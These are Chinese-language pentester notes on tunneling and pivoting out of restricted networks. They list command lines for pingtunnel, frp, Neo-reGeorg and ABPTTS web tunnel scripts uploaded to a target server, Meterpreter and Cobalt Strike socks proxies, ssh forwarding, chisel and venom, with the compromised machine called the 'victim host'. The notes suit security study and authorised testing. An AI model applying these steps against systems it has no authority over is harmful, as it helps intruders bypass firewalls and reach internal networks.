NAT Traversal
参考:https://book.hacktricks.xyz/tunneling-and-port-forwarding
简介
困境:
- 攻击者可以通过互联网直接访问到 web 服务器的 web 页面(http、https),但是由于防火墙、路由器 ACL、负载均衡的存在,不允许建立其它协议的链接。故无法建立 forward tcp 链接。
- web 服务器可能处在不能直接访问互联网的环境,故不能建立reverse tcp。
协议封装
icmp:https://github.com/esrrhs/pingtunnel (主机只让 icmp 出网)
但好像只能linux 作为服务端,windows 作为客户端。
# 分为 client 和 server。client 将监听端口收到的流量,以icmp 的形式传给 server 端。server 端解码icmp后,将流量转发到相关的端口。
# client 将监听端口收到的流量,以icmp 的形式传给 server 端。
pingtunnel.exe -type client -l 0.0.0.0:8888 -s 192.168.200.128 -t 192.168.200.1:80 -tcp 1 -noprint 1
# server 端负责解释接收到的 icmp 请求。并将其转发到对应端口。
sudo ./pingtunnel -type server -noprint 1
dns:iodine 对网络层进行封装。
socks 代理工具
让流量走 socks 代理
-
linux:proxychains
建立代理隧道的工具
frp (应用程序,socks、端口转发等,反向连接)
(fast reverse proxy ) 支持多种协议。https://github.com/fatedier/frp 。用来将在内网中的服务器暴露到公网上。
使用方法:
-
根据攻击者的主机和受害者的主机,下载不同的版本。 https://github.com/fatedier/frp/releases/tag/v0.37.0
-
可以根据 frps_full.ini / frpc_full.ini 修改要转发的协议以及是否加密等。
-
服务端监听客户端的代理请求。使用 frps、 frps.ini,运行。
frps -c frps.ini
-
客户端选择好要转发的方式,主动连接服务端。将 frpc、 frpc.ini 上传到受害者主机。配置好 frpc.ini 后运行。
frpc -c frpc.ini
Nps
和 frp 类似,功能复杂的内网穿透工具。https://github.com/ehang-io/nps
Neo-reGeorg(http,socks、端口转发,正向连接)
regeorg 的升级版 https://github.com/L-codes/Neo-reGeorg 。至今仍在更新中
使用方法:
-
python3 neoreg.py generate -k password -o dir
使用其生成各种web 脚本。将其上传到web 服务器。-f 404.html -c 404
-
python3 neoreg.py -u 脚本url -k password
会默认在本地监听监听 1080 socks 端口。然后使用 proxychains 代理到这个 socks 端口即可。python3 neoreg.py -u http://192.168.200.1/tunnel.php -k abc -s -t 127.0.0.1:80
会转发端口,而不是 socks 代理。
Ngrok
和 Neo-reGeorg 类似,不过可以借助项目作者搭建的公网主机。
netsh (win内置命令,端口转发)
需要管理员权限。
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=9999 connectaddress=192.168.200.128 connectport=9999
监听 127.0.0.1:9999 将其转发到 192.168.200.128:9999
msf(meterpreter,socks、端口转发)
portfwd add -l 80 -r 127.0.0.1 -p 80
# socks
# meterpreter session
background
route add 0.0.0.0/0 1
use auxiliary/server/socks_proxy
run
cobaltstrike(beacon,socks4a,端口转发)
# beacon session
socks 9999
so
ssh(常见应用,socks、端口转发)
ssh -L 127.0.0.1:6666:10.0.0.1:7777 liuyun@192.168.200.128 -N
# 监听本地 6666 端口(127.0.0.1),将访问本地 6666 端口的流量转发到 192.168.200.128 服务器能访问到的 10.0.0.1:7777
ssh -R 127.0.0.1:6666:10.0.0.1:7777 liuyun@192.168.200.128 -N
# 在 192.168.200.128 服务器上监听 6666 端口(127.0.0.1),将服务器上访问到 6666 端口的流量转发到本地能访问到的 10.0.0.1:7777
ssh -D 127.0.0.1:6666 liuyun@192.168.200.128 -N
# 监听本地 6666 端口,将访问到其的流量 socks 转发到 192.168.200.128 服务器上。
# 和 -L 类似,不过是socks 转发。
-L 限制了只能为本地主机上的端口
-R 限制了只能为远端主机上的端口
-N 表示用于端口转发
ip 部分可以省略,详见 man 手册。
vpn
未测试
chisel
http、portforward、socks、服务端客户端集成
chisel.exe server --socks5
chisel.exe client --fingerprint "EfzONUnfiUlA5+HLmS2BmKAmX1rj7ckmQCgccVc3W5A=" http://127.0.0.1:8080 socks
chisel.exe server --host 192.168.1.110
chisel.exe client --fingerprint "sDMpYge9dHEBXEDQFS1PT9VDBz5cLRTjTKi+LdYCKJk=" http://192.168.1.110:8080 127.0.0.1:18080:192.168.200.130:80
sshuttle
已停止更新
venom(应用程序,socks、端口转发、shell,正向连接)
分为 agent 、server 两个应用程序。
- 使用 agent 监听某一端口,等待 server 的链接。
agent.exe -lport 9999 -passwd 123
- 使用服务端连接到监听的客户端。
./admin_linux_x86 -rhost 127.0.0.1 -rport 9999 -passwd 123
abptts (http,端口转发)
(A Black Path Toward The Sun)https://github.com/nccgroup/ABPTTS
将 tcp 流量由 http /https 进行转发。
使用方法:
- 先使用 abpttsfactory.py 生成多种语言的包。选择一门语言上传到服务端。
- 然后使用
abpttsclient.py -c 生成的配置文件 -u 上传的脚本 -f localhost:port/remotehost:port
来转发端口。和 ssh -L 类似。不过是通过 http